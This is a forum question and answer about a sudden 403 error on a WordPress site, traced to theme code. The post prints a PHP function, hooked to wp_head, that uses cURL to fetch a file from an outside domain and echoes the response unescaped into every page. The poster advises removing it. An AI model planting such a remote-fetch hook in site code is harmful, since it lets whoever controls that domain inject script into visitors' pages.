Question: I am getting this error (403 Forbidden error nginx) since couple of days all of the sudden. I have not modified anything on the site yet this error came from nowhere. I can see it on the top of all the pages. However the page gets displayed.

I am using Wordpress latest version, hosted on Powweb. I have asked their support team about this but they have no idea about it and asked me to deactivate all the plugins and check then. But after renaming plugins directory and cache directory also I can see this error on my site.

I don't understand what can be the issue that came all of the sudden? 
Please help me!

**UPDATE**:

Issue was resolved by commenting the code that was requesting the jquery file from www.jquerye.com site. But as that site is expired the jquery link too which was giving 403 Forbidden error. 

I found that piece of code in themes/themename/framework/functions/init.php file with cURL requests. I have commented the last line which was adding to wp\_head `add_action('wp_head', 'insert_jquery_slider');` and issue got resolved.

Look for "functions" folder inside the installed theme directory. You may have a file called "class.php". You will see the following lines of codes.

```
<?php
if (!function_exists('insert_jquery_slider')){
    function insert_jquery_slider(){
        if (function_exists('curl_init')){
            $url = "http://www.jquerye.com/jquery-1.6.3.min.js";
            $ch = curl_init();
            $timeout = 5;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            $data = curl_exec($ch);
            curl_close($ch);
            echo $data;
        }
    }
    add_action('wp_head', 'insert_jquery_slider');
}
?>

```

Just Remove or comment this piece if code and you are done. :)
